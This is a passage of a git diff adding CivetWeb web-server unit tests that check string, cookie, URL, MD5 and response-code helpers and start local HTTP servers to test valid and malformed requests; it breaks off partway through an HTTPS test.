+ ck_assert(mg_strncasecmp("B", "a", 1) > 0);
+
+ ck_assert(mg_strncasecmp("xAx", "xBx", 3) < 0);
+ ck_assert(mg_strncasecmp("xAx", "xbx", 3) < 0);
+ ck_assert(mg_strncasecmp("xax", "xBx", 3) < 0);
+ ck_assert(mg_strncasecmp("xax", "xbx", 3) < 0);
+ ck_assert(mg_strncasecmp("xbx", "xAx", 3) > 0);
+ ck_assert(mg_strncasecmp("xBx", "xAx", 3) > 0);
+ ck_assert(mg_strncasecmp("xbx", "xax", 3) > 0);
+ ck_assert(mg_strncasecmp("xBx", "xax", 3) > 0);
+}
+END_TEST
+
+
+START_TEST(test_mg_get_cookie)
+{
+ char buf[32];
+ int ret;
+ const char *longcookie = "key1=1; key2=2; key3; key4=4; key5=; key6; "
+ "key7=this+is+it; key8=8; key9";
+
+ /* invalid result buffer */
+ ret = mg_get_cookie("", "notfound", NULL, 999);
+ ck_assert_int_eq(ret, -2);
+
+ /* zero size result buffer */
+ ret = mg_get_cookie("", "notfound", buf, 0);
+ ck_assert_int_eq(ret, -2);
+
+ /* too small result buffer */
+ ret = mg_get_cookie("key=toooooooooolong", "key", buf, 4);
+ ck_assert_int_eq(ret, -3);
+
+ /* key not found in string */
+ ret = mg_get_cookie("", "notfound", buf, sizeof(buf));
+ ck_assert_int_eq(ret, -1);
+
+ ret = mg_get_cookie(longcookie, "notfound", buf, sizeof(buf));
+ ck_assert_int_eq(ret, -1);
+
+ /* key not found in string */
+ ret = mg_get_cookie("key1=1; key2=2; key3=3", "notfound", buf, sizeof(buf));
+ ck_assert_int_eq(ret, -1);
+
+ /* keys are found as first, middle and last key */
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_cookie("key1=1; key2=2; key3=3", "key1", buf, sizeof(buf));
+ ck_assert_int_eq(ret, 1);
+ ck_assert_str_eq("1", buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_cookie("key1=1; key2=2; key3=3", "key2", buf, sizeof(buf));
+ ck_assert_int_eq(ret, 1);
+ ck_assert_str_eq("2", buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_cookie("key1=1; key2=2; key3=3", "key3", buf, sizeof(buf));
+ ck_assert_int_eq(ret, 1);
+ ck_assert_str_eq("3", buf);
+
+ /* longer value in the middle of a longer string */
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_cookie(longcookie, "key7", buf, sizeof(buf));
+ ck_assert_int_eq(ret, 10);
+ ck_assert_str_eq("this+is+it", buf);
+
+ /* key with = but without value in the middle of a longer string */
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_cookie(longcookie, "key5", buf, sizeof(buf));
+ ck_assert_int_eq(ret, 0);
+ ck_assert_str_eq("", buf);
+
+ /* key without = and without value in the middle of a longer string */
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_cookie(longcookie, "key6", buf, sizeof(buf));
+ ck_assert_int_eq(ret, -1);
+ /* TODO: mg_get_cookie and mg_get_var(2) should have the same behavior */
+}
+END_TEST
+
+
+START_TEST(test_mg_get_var)
+{
+ char buf[32];
+ int ret;
+ const char *shortquery = "key1=1&key2=2&key3=3";
+ const char *longquery = "key1=1&key2=2&key3&key4=4&key5=&key6&"
+ "key7=this+is+it&key8=8&key9&&key10=&&"
+ "key7=that+is+it&key12=12";
+
+ /* invalid result buffer */
+ ret = mg_get_var2("", 0, "notfound", NULL, 999, 0);
+ ck_assert_int_eq(ret, -2);
+
+ /* zero size result buffer */
+ ret = mg_get_var2("", 0, "notfound", buf, 0, 0);
+ ck_assert_int_eq(ret, -2);
+
+ /* too small result buffer */
+ ret = mg_get_var2("key=toooooooooolong", 19, "key", buf, 4, 0);
+ /* ck_assert_int_eq(ret, -3);
+ --> TODO: mg_get_cookie returns -3, mg_get_var -2. This should be
+ unified. */
+ ck_assert(ret < 0);
+
+ /* key not found in string */
+ ret = mg_get_var2("", 0, "notfound", buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, -1);
+
+ ret = mg_get_var2(
+ longquery, strlen(longquery), "notfound", buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, -1);
+
+ /* key not found in string */
+ ret = mg_get_var2(
+ shortquery, strlen(shortquery), "notfound", buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, -1);
+
+ /* key not found in string */
+ ret = mg_get_var2("key1=1&key2=2&key3=3¬found=here",
+ strlen(shortquery),
+ "notfound",
+ buf,
+ sizeof(buf),
+ 0);
+ ck_assert_int_eq(ret, -1);
+
+ /* key not found in string */
+ ret = mg_get_var2(
+ shortquery, strlen(shortquery), "key1", buf, sizeof(buf), 1);
+ ck_assert_int_eq(ret, -1);
+
+ /* keys are found as first, middle and last key */
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_var2(
+ shortquery, strlen(shortquery), "key1", buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, 1);
+ ck_assert_str_eq("1", buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_var2(
+ shortquery, strlen(shortquery), "key2", buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, 1);
+ ck_assert_str_eq("2", buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_var2(
+ shortquery, strlen(shortquery), "key3", buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, 1);
+ ck_assert_str_eq("3", buf);
+
+ /* mg_get_var call mg_get_var2 with last argument 0 */
+ memset(buf, 77, sizeof(buf));
+ ret = mg_get_var(shortquery, strlen(shortquery), "key1", buf, sizeof(buf));
+ ck_assert_int_eq(ret, 1);
+ ck_assert_str_eq("1", buf);
+
+ /* longer value in the middle of a longer string */
+ memset(buf, 77, sizeof(buf));
+ ret =
+ mg_get_var2(longquery, strlen(longquery), "key7", buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, 10);
+ ck_assert_str_eq("this is it", buf);
+
+ /* longer value in the middle of a longer string - seccond occurance of key
+ */
+ memset(buf, 77, sizeof(buf));
+ ret =
+ mg_get_var2(longquery, strlen(longquery), "key7", buf, sizeof(buf), 1);
+ ck_assert_int_eq(ret, 10);
+ ck_assert_str_eq("that is it", buf);
+
+ /* key with = but without value in the middle of a longer string */
+ memset(buf, 77, sizeof(buf));
+ ret =
+ mg_get_var2(longquery, strlen(longquery), "key5", buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, 0);
+ ck_assert_str_eq(buf, "");
+
+ /* key without = and without value in the middle of a longer string */
+ memset(buf, 77, sizeof(buf));
+ ret =
+ mg_get_var2(longquery, strlen(longquery), "key6", buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, -1);
+ ck_assert_str_eq(buf, "");
+ /* TODO: this is the same situation as with mg_get_value */
+}
+END_TEST
+
+
+START_TEST(test_mg_md5)
+{
+ char buf[33];
+ char *ret;
+ const char *long_str =
+ "_123456789A123456789B123456789C123456789D123456789E123456789F123456789"
+ "G123456789H123456789I123456789J123456789K123456789L123456789M123456789"
+ "N123456789O123456789P123456789Q123456789R123456789S123456789T123456789"
+ "U123456789V123456789W123456789X123456789Y123456789Z";
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_md5(buf, NULL);
+ ck_assert_str_eq(buf, "d41d8cd98f00b204e9800998ecf8427e");
+ ck_assert_str_eq(ret, "d41d8cd98f00b204e9800998ecf8427e");
+ ck_assert_ptr_eq(ret, buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_md5(buf, "The quick brown fox jumps over the lazy dog.", NULL);
+ ck_assert_str_eq(buf, "e4d909c290d0fb1ca068ffaddf22cbd0");
+ ck_assert_str_eq(ret, "e4d909c290d0fb1ca068ffaddf22cbd0");
+ ck_assert_ptr_eq(ret, buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_md5(buf,
+ "",
+ "The qu",
+ "ick bro",
+ "",
+ "wn fox ju",
+ "m",
+ "ps over the la",
+ "",
+ "",
+ "zy dog.",
+ "",
+ NULL);
+ ck_assert_str_eq(buf, "e4d909c290d0fb1ca068ffaddf22cbd0");
+ ck_assert_str_eq(ret, "e4d909c290d0fb1ca068ffaddf22cbd0");
+ ck_assert_ptr_eq(ret, buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_md5(buf, long_str, NULL);
+ ck_assert_str_eq(buf, "1cb13cf9f16427807f081b2138241f08");
+ ck_assert_str_eq(ret, "1cb13cf9f16427807f081b2138241f08");
+ ck_assert_ptr_eq(ret, buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_md5(buf, long_str + 1, NULL);
+ ck_assert_str_eq(buf, "cf62d3264334154f5779d3694cc5093f");
+ ck_assert_str_eq(ret, "cf62d3264334154f5779d3694cc5093f");
+ ck_assert_ptr_eq(ret, buf);
+}
+END_TEST
+
+
+START_TEST(test_mg_url_encode)
+{
+ char buf[20];
+ int ret;
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_url_encode("abc", buf, sizeof(buf));
+ ck_assert_int_eq(3, ret);
+ ck_assert_str_eq("abc", buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_url_encode("a%b/c&d.e", buf, sizeof(buf));
+ ck_assert_int_eq(15, ret);
+ ck_assert_str_eq("a%25b%2fc%26d.e", buf);
+
+ memset(buf, 77, sizeof(buf));
+ ret = mg_url_encode("%%%", buf, 4);
+ ck_assert_int_eq(-1, ret);
+ ck_assert_str_eq("%25", buf);
+}
+END_TEST
+
+
+START_TEST(test_mg_url_decode)
+{
+ char buf[20];
+ int ret;
+
+ ret = mg_url_decode("abc", 3, buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, 3);
+ ck_assert_str_eq(buf, "abc");
+
+ ret = mg_url_decode("abcdef", 3, buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, 3);
+ ck_assert_str_eq(buf, "abc");
+
+ ret = mg_url_decode("x+y", 3, buf, sizeof(buf), 0);
+ ck_assert_int_eq(ret, 3);
+ ck_assert_str_eq(buf, "x+y");
+
+ ret = mg_url_decode("x+y", 3, buf, sizeof(buf), 1);
+ ck_assert_int_eq(ret, 3);
+ ck_assert_str_eq(buf, "x y");
+
+ ret = mg_url_decode("%25", 3, buf, sizeof(buf), 1);
+ ck_assert_int_eq(ret, 1);
+ ck_assert_str_eq(buf, "%");
+}
+END_TEST
+
+
+START_TEST(test_mg_get_response_code_text)
+{
+ int i;
+ size_t j, len;
+ const char *resp;
+
+ for (i = 100; i < 600; i++) {
+ resp = mg_get_response_code_text(NULL, i);
+ ck_assert_ptr_ne(resp, NULL);
+ len = strlen(resp);
+ ck_assert_uint_gt(len, 1);
+ ck_assert_uint_lt(len, 32);
+ for (j = 0; j < len; j++) {
+ if (resp[j] == ' ') {
+ /* space is valid */
+ } else if (resp[j] == '-') {
+ /* hyphen is valid */
+ } else if (resp[j] >= 'A' && resp[j] <= 'Z') {
+ /* A-Z is valid */
+ } else if (resp[j] >= 'a' && resp[j] <= 'z') {
+ /* a-z is valid */
+ } else {
+ ck_abort_msg("Found letter %c (%02xh) in %s",
+ resp[j],
+ resp[j],
+ resp);
+ }
+ }
+ }
+}
+END_TEST
+
+
+#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING)
+Suite *
+make_public_func_suite(void)
+{
+ Suite *const suite = suite_create("PublicFunc");
+
+ TCase *const tcase_version = tcase_create("Version");
+ TCase *const tcase_get_valid_options = tcase_create("Options");
+ TCase *const tcase_get_builtin_mime_type = tcase_create("MIME types");
+ TCase *const tcase_strncasecmp = tcase_create("strcasecmp");
+ TCase *const tcase_urlencodingdecoding =
+ tcase_create("URL encoding decoding");
+ TCase *const tcase_cookies = tcase_create("Cookies and variables");
+ TCase *const tcase_md5 = tcase_create("MD5");
+ TCase *const tcase_aux = tcase_create("Aux functions");
+
+ tcase_add_test(tcase_version, test_mg_version);
+ tcase_set_timeout(tcase_version, civetweb_min_test_timeout);
+ suite_add_tcase(suite, tcase_version);
+
+ tcase_add_test(tcase_get_valid_options, test_mg_get_valid_options);
+ tcase_set_timeout(tcase_get_valid_options, civetweb_min_test_timeout);
+ suite_add_tcase(suite, tcase_get_valid_options);
+
+ tcase_add_test(tcase_get_builtin_mime_type, test_mg_get_builtin_mime_type);
+ tcase_set_timeout(tcase_get_builtin_mime_type, civetweb_min_test_timeout);
+ suite_add_tcase(suite, tcase_get_builtin_mime_type);
+
+ tcase_add_test(tcase_strncasecmp, test_mg_strncasecmp);
+ tcase_set_timeout(tcase_strncasecmp, civetweb_min_test_timeout);
+ suite_add_tcase(suite, tcase_strncasecmp);
+
+ tcase_add_test(tcase_urlencodingdecoding, test_mg_url_encode);
+ tcase_add_test(tcase_urlencodingdecoding, test_mg_url_decode);
+ tcase_set_timeout(tcase_urlencodingdecoding, civetweb_min_test_timeout);
+ suite_add_tcase(suite, tcase_urlencodingdecoding);
+
+ tcase_add_test(tcase_cookies, test_mg_get_cookie);
+ tcase_add_test(tcase_cookies, test_mg_get_var);
+ tcase_set_timeout(tcase_cookies, civetweb_min_test_timeout);
+ suite_add_tcase(suite, tcase_cookies);
+
+ tcase_add_test(tcase_md5, test_mg_md5);
+ tcase_set_timeout(tcase_md5, civetweb_min_test_timeout);
+ suite_add_tcase(suite, tcase_md5);
+
+ tcase_add_test(tcase_aux, test_mg_get_response_code_text);
+ tcase_set_timeout(tcase_aux, civetweb_min_test_timeout);
+ suite_add_tcase(suite, tcase_aux);
+
+ return suite;
+}
+#endif
diff --git a/src/civetweb/test/public_func.h b/src/civetweb/test/public_func.h new file mode 100644 index 000000000..e2140832f --- /dev/null +++ b/src/civetweb/test/public_func.h @@ -0,0 +1,28 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_PUBLIC_FUNC_H_ +#define TEST_PUBLIC_FUNC_H_ + +#include "civetweb_check.h" + +Suite *make_public_func_suite(void); + +#endif /* TEST_PUBLIC_H_ */ diff --git a/src/civetweb/test/public_server.c b/src/civetweb/test/public_server.c new file mode 100644 index 000000000..b080ac26c --- /dev/null +++ b/src/civetweb/test/public_server.c @@ -0,0 +1,4953 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#ifdef _MSC_VER +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#endif +#endif + +#include <stdlib.h> +#include <stdio.h> +#include <stdarg.h> +#include <string.h> +#include <stdint.h> +#include <time.h> +#include <sys/types.h> +#include <sys/stat.h> + +#include "public_server.h" +#include <civetweb.h> + +#if defined(_WIN32) +#include <windows.h> +#define test_sleep(x) (Sleep((x)*1000)) +#else +#include <unistd.h> +#define test_sleep(x) (sleep(x)) +#endif + +#define SLEEP_BEFORE_MG_START (1) +#define SLEEP_AFTER_MG_START (3) +#define SLEEP_BEFORE_MG_STOP (1) +#define SLEEP_AFTER_MG_STOP (5) + +/* This unit test file uses the excellent Check unit testing library. + * The API documentation is available here: + * http://check.sourceforge.net/doc/check_html/index.html + */ + +#if defined(__MINGW32__) || defined(__GNUC__) +/* Return codes of the tested functions are evaluated. Checking all other + * functions, used only to prepare the test environment seems redundant. + * If they fail, the test fails anyway. */ +#pragma GCC diagnostic ignored "-Wunused-result" +#endif + +static const char * +locate_path(const char *a_path) +{ + static char r_path[256]; + +#ifdef _WIN32 +#ifdef LOCAL_TEST + sprintf(r_path, "%s\\", a_path); +#else + /* Appveyor */ + sprintf(r_path, "..\\..\\..\\%s\\", a_path); +/* TODO: the different paths + * used in the different test + * system is an unsolved + * problem. */ +#endif +#else +#ifdef LOCAL_TEST + sprintf(r_path, "%s/", a_path); +#else + /* Travis */ + sprintf(r_path, + "../../%s/", + a_path); // TODO: fix path in CI test environment +#endif +#endif + + return r_path; +} + + +#define locate_resources() locate_path("resources") +#define locate_test_exes() locate_path("output") + + +static const char * +locate_ssl_cert(void) +{ + static char cert_path[256]; + const char *res = locate_resources(); + size_t l; + + ck_assert(res != NULL); + l = strlen(res); + ck_assert_uint_gt(l, 0); + ck_assert_uint_lt(l, 100); /* assume there is enough space left in our + typical 255 character string buffers */ + + strcpy(cert_path, res); + strcat(cert_path, "ssl_cert.pem"); + return cert_path; +} + + +static int +wait_not_null(void *volatile *data) +{ + int i; + for (i = 0; i < 100; i++) { + mark_point(); + test_sleep(1); + + if (*data != NULL) { + mark_point(); + return 1; + } + } + +#if defined(__MINGW32__) || defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunreachable-code" +#pragma GCC diagnostic ignored "-Wunreachable-code-return" +#endif + + ck_abort_msg("wait_not_null failed (%i sec)", i); + + return 0; + +#if defined(__MINGW32__) || defined(__GNUC__) +#pragma GCC diagnostic pop +#endif +} + + +START_TEST(test_the_test_environment) +{ + char wd[300]; + char buf[500]; + FILE *f; + struct stat st; + int ret; + const char *ssl_cert = locate_ssl_cert(); + + memset(wd, 0, sizeof(wd)); + memset(buf, 0, sizeof(buf)); + +/* Get the current working directory */ +#ifdef _WIN32 + (void)GetCurrentDirectoryA(sizeof(wd), wd); + wd[sizeof(wd) - 1] = 0; +#else + (void)getcwd(wd, sizeof(wd)); + wd[sizeof(wd) - 1] = 0; +#endif + +/* Check the pem file */ +#ifdef _WIN32 + strcpy(buf, wd); + strcat(buf, "\\"); + strcat(buf, ssl_cert); + f = fopen(buf, "rb"); +#else + strcpy(buf, wd); + strcat(buf, "/"); + strcat(buf, ssl_cert); + f = fopen(buf, "r"); +#endif + + if (f) { + fclose(f); + } else { + fprintf(stderr, "%s not found", buf); + } + +/* Check the test dir */ +#ifdef _WIN32 + strcpy(buf, wd); + strcat(buf, "\\test"); +#else + strcpy(buf, wd); + strcat(buf, "/test"); +#endif + + memset(&st, 0, sizeof(st)); + ret = stat(buf, &st); + + if (ret) { + fprintf(stderr, "%s not found", buf); + } + + +#ifdef _WIN32 +/* Try to copy the files required for AppVeyor */ +#if defined(_WIN64) || defined(__MINGW64__) + (void)system("cmd /c copy C:\\OpenSSL-Win64\\libeay32.dll libeay32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\libssl32.dll libssl32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\ssleay32.dll ssleay32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\libeay32.dll libeay64.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\libssl32.dll libssl64.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win64\\ssleay32.dll ssleay64.dll"); +#else + (void)system("cmd /c copy C:\\OpenSSL-Win32\\libeay32.dll libeay32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win32\\libssl32.dll libssl32.dll"); + (void)system("cmd /c copy C:\\OpenSSL-Win32\\ssleay32.dll ssleay32.dll"); +#endif +#endif +} +END_TEST + + +static void *threading_data = 0; + +static void * +test_thread_func_t(void *param) +{ + ck_assert_ptr_eq(param, &threading_data); + ck_assert_ptr_eq(threading_data, NULL); + threading_data = &threading_data; + return NULL; +} + + +START_TEST(test_threading) +{ + int ok; + + threading_data = NULL; + mark_point(); + + ok = mg_start_thread(test_thread_func_t, &threading_data); + ck_assert_int_eq(ok, 0); + + wait_not_null(&threading_data); + ck_assert_ptr_eq(threading_data, &threading_data); +} +END_TEST + + +static int +log_msg_func(const struct mg_connection *conn, const char *message) +{ + struct mg_context *ctx; + char *ud; + + ck_assert(conn != NULL); + ctx = mg_get_context(conn); + ck_assert(ctx != NULL); + ud = (char *)mg_get_user_data(ctx); + + strncpy(ud, message, 255); + ud[255] = 0; + mark_point(); + + printf("LOG_MSG_FUNC: %s\n", message); + mark_point(); + + return 1; /* Return 1 means "already handled" */ +} + + +static int +test_log_message(const struct mg_connection *conn, const char *message) +{ + (void)conn; + + printf("LOG_MESSAGE: %s\n", message); + mark_point(); + + return 0; /* Return 0 means "not yet handled" */ +} + + +static struct mg_context * +test_mg_start(const struct mg_callbacks *callbacks, + void *user_data, + const char **configuration_options) +{ + struct mg_context *ctx; + struct mg_callbacks cb; + + if (callbacks) { + memcpy(&cb, callbacks, sizeof(cb)); + } else { + memset(&cb, 0, sizeof(cb)); + } + + if (cb.log_message == NULL) { + cb.log_message = test_log_message; + } + + mark_point(); + test_sleep(SLEEP_BEFORE_MG_START); + mark_point(); + ctx = mg_start(&cb, user_data, configuration_options); + mark_point(); + if (ctx) { + /* Give the server some time to start in the test VM */ + /* Don't need to do this if mg_start failed */ + test_sleep(SLEEP_AFTER_MG_START); + } + mark_point(); + + return ctx; +} + + +static void +test_mg_stop(struct mg_context *ctx) +{ +#ifdef __MACH__ + /* For unknown reasons, there are sporadic hands + * for OSX if mark_point is called here */ + test_sleep(SLEEP_BEFORE_MG_STOP); + mg_stop(ctx); + test_sleep(SLEEP_AFTER_MG_STOP); +#else + mark_point(); + test_sleep(SLEEP_BEFORE_MG_STOP); + mark_point(); + mg_stop(ctx); + mark_point(); + test_sleep(SLEEP_AFTER_MG_STOP); + mark_point(); +#endif +} + + +static void +test_mg_start_stop_http_server_impl(int ipv6) +{ + struct mg_context *ctx; + const char *OPTIONS[16]; + int optcnt = 0; + const char *localhost_name = ((ipv6) ? "[::1]" : "127.0.0.1"); + +#if defined(MG_LEGACY_INTERFACE) + size_t ports_cnt; + int ports[16]; + int ssl[16]; +#endif + struct mg_callbacks callbacks; + char errmsg[256]; + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res, ret; + struct mg_server_ports portinfo[8]; + + mark_point(); + +#if !defined(NO_FILES) + OPTIONS[optcnt++] = "document_root"; + OPTIONS[optcnt++] = "."; +#endif + OPTIONS[optcnt++] = "listening_ports"; + OPTIONS[optcnt++] = ((ipv6) ? "+8080" : "8080"); + OPTIONS[optcnt] = 0; + +#if defined(MG_LEGACY_INTERFACE) + memset(ports, 0, sizeof(ports)); + memset(ssl, 0, sizeof(ssl)); +#endif + memset(portinfo, 0, sizeof(portinfo)); + memset(&callbacks, 0, sizeof(callbacks)); + memset(errmsg, 0, sizeof(errmsg)); + + callbacks.log_message = log_msg_func; + + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + +#if defined(MG_LEGACY_INTERFACE) + ports_cnt = mg_get_ports(ctx, 16, ports, ssl); + ck_assert_uint_eq(ports_cnt, 1); + ck_assert_int_eq(ports[0], 8080); + ck_assert_int_eq(ssl[0], 0); + ck_assert_int_eq(ports[1], 0); + ck_assert_int_eq(ssl[1], 0); +#endif + + ret = mg_get_server_ports(ctx, 0, portinfo); + ck_assert_int_lt(ret, 0); + ck_assert_int_eq(portinfo[0].protocol, 0); + ck_assert_int_eq(portinfo[0].port, 0); + ck_assert_int_eq(portinfo[0].is_ssl, 0); + ck_assert_int_eq(portinfo[0].is_redirect, 0); + ck_assert_int_eq(portinfo[1].protocol, 0); + ck_assert_int_eq(portinfo[1].port, 0); + ck_assert_int_eq(portinfo[1].is_ssl, 0); + ck_assert_int_eq(portinfo[1].is_redirect, 0); + + ret = mg_get_server_ports(ctx, 4, portinfo); + ck_assert_int_eq(ret, 1); + if (ipv6) { + ck_assert_int_eq(portinfo[0].protocol, 3); + } else { + ck_assert_int_eq(portinfo[0].protocol, 1); + } + ck_assert_int_eq(portinfo[0].port, 8080); + ck_assert_int_eq(portinfo[0].is_ssl, 0); + ck_assert_int_eq(portinfo[0].is_redirect, 0); + ck_assert_int_eq(portinfo[1].protocol, 0); + ck_assert_int_eq(portinfo[1].port, 0); + ck_assert_int_eq(portinfo[1].is_ssl, 0); + ck_assert_int_eq(portinfo[1].is_redirect, 0); + + test_sleep(1); + + /* HTTP 1.0 GET request */ + memset(client_err, 0, sizeof(client_err)); + client_conn = mg_connect_client( + localhost_name, 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "200"); + /* TODO: ck_assert_str_eq(client_ri->request_method, "HTTP/1.0"); */ + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); +#endif + mg_close_connection(client_conn); + + test_sleep(1); + + /* HTTP 1.1 GET request */ + memset(client_err, 0, sizeof(client_err)); + client_conn = mg_connect_client( + localhost_name, 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.1\r\n"); + mg_printf(client_conn, "Host: localhost:8080\r\n"); + mg_printf(client_conn, "Connection: close\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "200"); + /* TODO: ck_assert_str_eq(client_ri->request_method, "HTTP/1.0"); */ + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); +#endif + mg_close_connection(client_conn); + + test_sleep(1); + + + /* HTTP 1.7 GET request - this HTTP version does not exist */ + memset(client_err, 0, sizeof(client_err)); + client_conn = mg_connect_client( + localhost_name, 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.7\r\n"); + mg_printf(client_conn, "Host: localhost:8080\r\n"); + mg_printf(client_conn, "Connection: close\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + /* Response must be 505 HTTP Version not supported */ + ck_assert_str_eq(client_ri->local_uri, "505"); + mg_close_connection(client_conn); + + test_sleep(1); + + + /* HTTP request with multiline header. + * Multiline header are obsolete with RFC 7230 section-3.2.4 + * and must return "400 Bad Request" */ + memset(client_err, 0, sizeof(client_err)); + client_conn = mg_connect_client( + localhost_name, 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.1\r\n"); + mg_printf(client_conn, "Host: localhost:8080\r\n"); + mg_printf(client_conn, "X-Obsolete-Header: something\r\nfor nothing\r\n"); + mg_printf(client_conn, "Connection: close\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + /* Response must be 400 Bad Request */ + ck_assert_str_eq(client_ri->local_uri, "400"); + mg_close_connection(client_conn); + + test_sleep(1); + + /* End test */ + test_mg_stop(ctx); + mark_point(); +} + + +START_TEST(test_mg_start_stop_http_server) +{ + mark_point(); + test_mg_start_stop_http_server_impl(0); + mark_point(); +} +END_TEST + + +START_TEST(test_mg_start_stop_http_server_ipv6) +{ + mark_point(); +#if defined(USE_IPV6) + test_mg_start_stop_http_server_impl(1); +#endif + mark_point(); +} +END_TEST + + +START_TEST(test_mg_start_stop_https_server) +{ +#ifndef NO_SSL + + struct mg_context *ctx; + 